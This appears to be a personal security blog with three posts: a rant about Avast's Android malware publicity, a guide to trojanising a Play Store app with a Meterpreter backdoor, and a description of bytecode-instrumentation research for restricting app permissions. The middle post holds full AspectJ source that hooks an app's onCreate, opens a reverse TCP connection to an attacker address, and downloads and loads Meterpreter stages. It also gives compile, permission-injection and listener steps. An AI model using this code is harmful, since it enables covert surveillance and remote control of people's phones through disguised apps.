Stelly's Security Symposium

To content | To menu | To search

Wednesday 4 February 2015

Android FUD Articles

Okay - this 'tech' news cycle is really irritating.

Avast came out with a promotion for their premium service by announcing that some apps have infectious 'malware'. From this blog post, all kinds of ridiculous headlines have surfaced:

Screen_Shot_2015-02-04_at_8.54.45_AM.png

I have a problem with this kind of FUD spewing out marketing departments such as Avast. For one, they have neatly included a promotion for their subscription-based checksum comparison tool, which is probably named something like "SUPER SHIELDS UP 2015 PREMIUM ANDROID MEGASHIELD HASH SECURITY SUITE". Next, sensationalized language combined with over-inflated numbers create a critical mass for major news outlets to feed on, none of whom have the slightest idea of what they're talking about (with the added bonus of more advertisement). Take for example the Forbes article:

These clicks can potentially open up malware-infested web pages, run illicit processes on the handset, or prompt the user to install other applications.

Who cares? Don't install crap on your phone in the first place, and furthermore don't click when it asks to install more. Oh, and nice of Forbes to drop the following in:

Without Avast’s alert, would this attack vector have been discovered?

But I'm sure Forbes wasn't paid for such sweetened verbiage....as if their half sentence about 'conflict of interest' nullifies their advertisement disguised as an article. Hah!

Ranting aside, every news article I've seen isn't approaching it right. In fact, nobody has to my knowledge has actually thought about the problem -- they've just been pissed at symptoms.

The real problem is that end-users aren't allowed to control their device's behavior. This is totally on purpose, and you are not meant to question it. If you could, for example, establish a per-app trust model, and use built-in permissions to enforce your model, you wouldn't have these problems (or any like it). Google does not want this - they want to be able to shove ads down your throat. They want to be able to sell your home's location to advertisers. The last thing they could possibly allow is for you to deny an app access to the internet and prevent it from pulling down more adverts. This is why we need to take control of our own devices -- nobody is looking out for us, and they will not in the future.

We can block internet access, deny popups and otherwise overwrite any builtin function used by applications. And it doesn't require rooting. Apphacking is the way to go, of that I have no doubt.

Sunday 29 June 2014

Android Bytecode Instrumentation for Meterpreter Injection

Android App Meterpreter Injection

In this post, I'll take you through injecting a meterpreter into an Android app. If you've been paying attention, metasploit released an Android Meterpreter payload some time back. The payload includes scary stuff - you can snap photos with any of the Android's cameras, record audio, drop into a shell, and pretty much ruin the user's day.

android_ms_cam

That's all great! However, the only current method of delivery is to generate the payload as an .apk and convincing the end user to install the app. This app, as the user will soon find out, does apparently nothing, and although plenty is going on in the background there is no user interaction. Users will, if you can convince them to download the app, will soon become disinterested.. they may even uninstall your newly minted metasploit backdoor. Ho hum.

But what if we could take the latest release of a popular app, do some metasploit injection magic, and produce an app which looks, feels, and functions exactly as it's supposed to, but also contains a metasploit payload? Enter Bytecode Instrumentation.

If you haven't read my previous post on the subject, bytecode instrumentation simply modifies the opcodes of a given app. Originally, it was used to inject run-time permissions for pesky, over-provisioned apps. But hey, who cares about what something was ''designed'' to do?

So, let's start with a fresh APK. Pick your app from the Play Store, grab it's package name, and head on over to Evozi.com to download the file directly to your machine.

Once we have that, we'll use a meterpreter aspect with a pointcut on an Activity's 'onCreate()' function (I'll leave AOJ syntax tutorials for the web):

   public aspect revtcp {
       private static Context _context = null;
       
       pointcut onCreateCall() : execution(* *.onCreate(..)) 
                                 && within (com.dw.contacts.activities.ContactsActivity);
       
       before() : onCreateCall() {
           System.out.println("* Apphack intercepted execution!");
           setContext(); 
       
           if (_context != null)
               startWithContext();
       }
       
       private void setContext() {
           try {
               Method localMethod = Class.forName("android.app.ActivityThread").getMethod("currentApplication", new Class0);
               _context = (Context)localMethod.invoke(null, (Object)null);
           } catch (Exception e) {
               System.out.println("! Exception grabbing context");
           }
       }
       
       public  void startWithContext() {
           System.setProperty("user.dir", _context.getFilesDir().getAbsolutePath());
           startAsync();
       }
       
       public void startAsync() {
           new Thread()
           {
             public void run()
             {
                 rinseAndRepeat(); 
             }
           }
           .start();
       }
       
       public void rinseAndRepeat() {
         int i = 15;
         while (!startReverseConn()) {
           System.out.println("- loop.. we arent done with the connection yet");
           int j = i - 1;
           if (i <= 0)
               break;
           try {
               Thread.sleep(1000);
               i = j;
           } catch (InterruptedException localInterruptedException) {
               i = j;
           }
         }
       }
       
       private boolean startReverseConn() {
           System.out.println("- Starting 'start reverse conection'");
           try {
               reverseTCP();
           } catch (Exception localException) {
               System.out.println("- Caught exception: " + localException);
               return false;
           }
           return true;
       }
       
       private void reverseTCP()  throws Exception {
           System.out.println("- Starting reverse tcp");
           Socket localSocket = new Socket("192.168.2.13", Integer.parseInt("4445"));
           loadStage(new DataInputStream(localSocket.getInputStream()), new DataOutputStream(localSocket.getOutputStream()), null, new String0);
           return;
       }
       
       private  void loadStage(DataInputStream paramDataInputStream, OutputStream paramOutputStream, Context paramContext, String paramArrayOfString)
       throws Exception  {
           
           System.setProperty("user.dir", _context.getFilesDir().getAbsolutePath());
           System.out.println("- Current Directory: " + _context.getFilesDir().getAbsolutePath());
       
           
           System.out.println("- Starting loading of stage data");
           String str1 = new File(".").getAbsolutePath();
           String str2 = str1 + File.separatorChar + "payload.jar";
           String str3 = str1 + File.separatorChar + "payload.dex";
           System.out.println("- Str1 baseDirectory: " +str1);
           System.out.println("- Str2 payload.jar " +str2);
           System.out.println("- Str3 payload.dex: " +str3);
         
           byte arrayOfByte1 = new byteparamDataInputStream.readInt();
           paramDataInputStream.readFully(arrayOfByte1);
           String str4 = new String(arrayOfByte1);
           System.out.println("- Class to load: " + str4);
           
           byte arrayOfByte2 = new byteparamDataInputStream.readInt();
           paramDataInputStream.readFully(arrayOfByte2);
           
           File localFile = new File(str2);
           
           if (!localFile.exists())
             localFile.createNewFile();
       
           FileOutputStream localFileOutputStream = new FileOutputStream(localFile);
           localFileOutputStream.write(arrayOfByte2);
           localFileOutputStream.flush();
           localFileOutputStream.close();
           
           Class localClass = new DexClassLoader(str2, str1, str1, ContactsActivity.class.getClassLoader()).loadClass(str4);
           Object localObject = localClass.newInstance();
           
           localFile.delete();
           new File(str3).delete();
           
           MetStart(paramDataInputStream, paramOutputStream, _context);
       
         }
       
       public void MetStart(DataInputStream paramDataInputStream, OutputStream paramOutputStream, Context paramContext)
               throws Exception
             {
               System.out.println("* Starting meterpreter.");
               String str1 = new File(".").getAbsolutePath();
               String str2 = str1 + File.separatorChar + "met.jar";
               String str3 = str1 + File.separatorChar + "met.dex";
               byte arrayOfByte = new byteparamDataInputStream.readInt();
               paramDataInputStream.readFully(arrayOfByte);
               File localFile = new File(str2);
               if (!localFile.exists())
                 localFile.createNewFile();
               FileOutputStream localFileOutputStream = new FileOutputStream(localFile);
               localFileOutputStream.write(arrayOfByte);
               localFileOutputStream.flush();
               localFileOutputStream.close();
               Class localClass = new DexClassLoader(str2, str1, str1, ContactsActivity.class.getClassLoader()).loadClass("com.metasploit.meterpreter.AndroidMeterpreter");
               localFile.delete();
               new File(str3).delete();
               Class arrayOfClass = new Class4;
               arrayOfClass0 = DataInputStream.class;
               arrayOfClass1 = OutputStream.class;
               arrayOfClass2 = Context.class;
               arrayOfClass3 = Boolean.TYPE;
               Constructor localConstructor = localClass.getConstructor(arrayOfClass);
               Object arrayOfObject = new Object4;
               arrayOfObject0 = paramDataInputStream;
               arrayOfObject1 = paramOutputStream;
               arrayOfObject2 = paramContext;
               arrayOfObject3 = Boolean.valueOf(false);
               localConstructor.newInstance(arrayOfObject);
             }
   }

Compilation time

This aspect, compiled with AJC (the aspectJ compiler), pops out a nice .jar file which we convert to the Dalvik style with D2J-Jar2Dex.

d2j-jar2dex.sh -f -o classes.dex output/out.jar

Don't forget about permissions!

So, you applied your aspect, converted it to dalvik, threw it in your APK and went off to the races thinking you were done? Well, so did I -- I forgot about all the new permissions these apps will have to request! (Android permissions model works at the OS level, so there will be no avoiding this necessity without rooting the device, or perhaps exploiting kernel bugs). Anyways, a few scripts later, and utilizing APKTool, I was able to inject all required permissions to the AndroidManifest within the APK.

Install

Install the APK to your device by whatever means you feel proper. (This would be tricky with an emulator, as it runs within a QEMU and network interfaces are local to it).

Fire up your handler

In metaspoit, fire up your listener. (I used exploit/multi/handler, with the android/meterpreter/reverse_tcp payload).

Profit

First is the application on which I injected the Android meterpreter (DW Contacts), and below is my msfconsole.

dw_w_android_metasploit

android_wc_exploit.png

Notes

android_wc_cap.jpeg

Thursday 13 March 2014

Dynamic Aspect Oriented Bytecode Instrumentation

Dynamic Aspect Oriented Bytecode Instrumentation

As part of my graduate research, I developed a process combining bytecode instrumentation with a relatively unknown programming paradigm known as aspect oriented programming. In a truly synergistic fashion, these ideas produce beautiful results when used in concert. The effect of this research, as demonstrated below, is to have the ability to dynamically alter the behavior of programs written in an interpreted language (think Java, Dalvik, Python & Ruby). So, we can alter any program written in those languages, and bend it in order to change its behavior.

The need to alter

Since the advent of the modern smartphone, circa 2007 (Apple's iPhone), we've seen an ever-increasing amount of personal information available to our devices. Ergo, we impart the trust of goodwill and safe handling to applications we install on them. We trust them with things such as our location, our contact information, internet access.. etc.

While this trust is easy for some to give up, privacy-aware individuals are slow to trust; however, outside these two categories lie the majority - the ill-informed and unaware. In which camp do you find yourself? I, for one, do not want applications from any developer to have more than the absolute BARE-MINIMUM access than necessary for the application to function. I do not want my flashlight app to have access to my GPS, and I do not want my banking app to have access to any other server than that hosted by Capital One, period. These apps relate examples of over-provisioning, and this study suggests more than 70% of Android apps are guilty of such offenses. No matter what the reasons for this over-provisioning, the simple fact of the matter is that YOU should have control over YOUR DEVICE and therefore, control over YOUR INFORMATION.

It boils down to control. You agree these apps can have everything they want, ad nauseam. You can't curb it. You have no recourse.

FlashlightPermissionsPartial

And you have to agree to give the app access to everything it asks for, or you can't even install it.

Wouldn't it be nice if you could use any app, knowing it can't access your anything on your device unless YOU deem it necessary? Howbout dynamically allowing or disallowing access to particular functions?

This is the perfect proving ground for Aspect Oriented Bytecode Instrumentation.

We use instrumentation to change the app, and aspect programming to design the changes.

(If you're familiar with Aspect Oriented Programming, the next section will bore you. Feel free to skip to the movie!)


Aspect Oriented Programming (AOP) hit stride with the AspectJ project, which launched in 2001. It's the de-facto standard AOP implementation for Java, and that's what I focus on with this project. I highly recommend reading more into how the instrumentation process works, but that is beyond this article. Take me for my word that it simply looks at the program's bytecode and knows how to change it for what you want to do.

AOP, as mentioned earlier, will let us design the changes we want to make. We implement these changes by using two AOP constructs known as pointcuts and advice.

Pointcuts define what we want to change.

Advice defines what we want to do.

When combined, they form a construct called an 'aspect'.

A typical pointcut could look like the following:

pc

In this example, we want to apply our advice (which has not yet been defined) to every part in the program which calls the function "query". We will allow any function with that name, no matter what the return type (denoted with the wildcard "*") and any number of function arguments (".."). The "call" keyword defines what behavior we want to apply advice to. Here, we want to change what happens when the function "query" is called. However, there are other things you can do, such as have the pointcut defined on execution, initialization, etc.

We apply that pointcut with this advice... guess what the goal is:

SImpleAdvice.png

This combination of methods, when combined to an aspect, will cause any query function to fail. This is because we modify the database call to have extra, impossible criteria - the query is appended with "where 0", which if you are familiar with SQL you know this will never yield results.

In fact, this is not just a simple example. This query was essentially what I did to revoke an applications access to the contacts database. I added a few lines to allow for dynamic authorization. Here is the source aspect.

With this toolset, you can do things like the following:

This process has been automated, so that we simply drop an app into a pipeline which performs all the necessary instrumentation. When it comes out the other end, it will be dynamically instrumented to allow for granular control. I know what you're thinking -- Android apps aren't technically Java bytecode, they're Dalvik bytecode! Well, true. But with the help of the nifty tool Dex2Jar, this was a trivial barrier.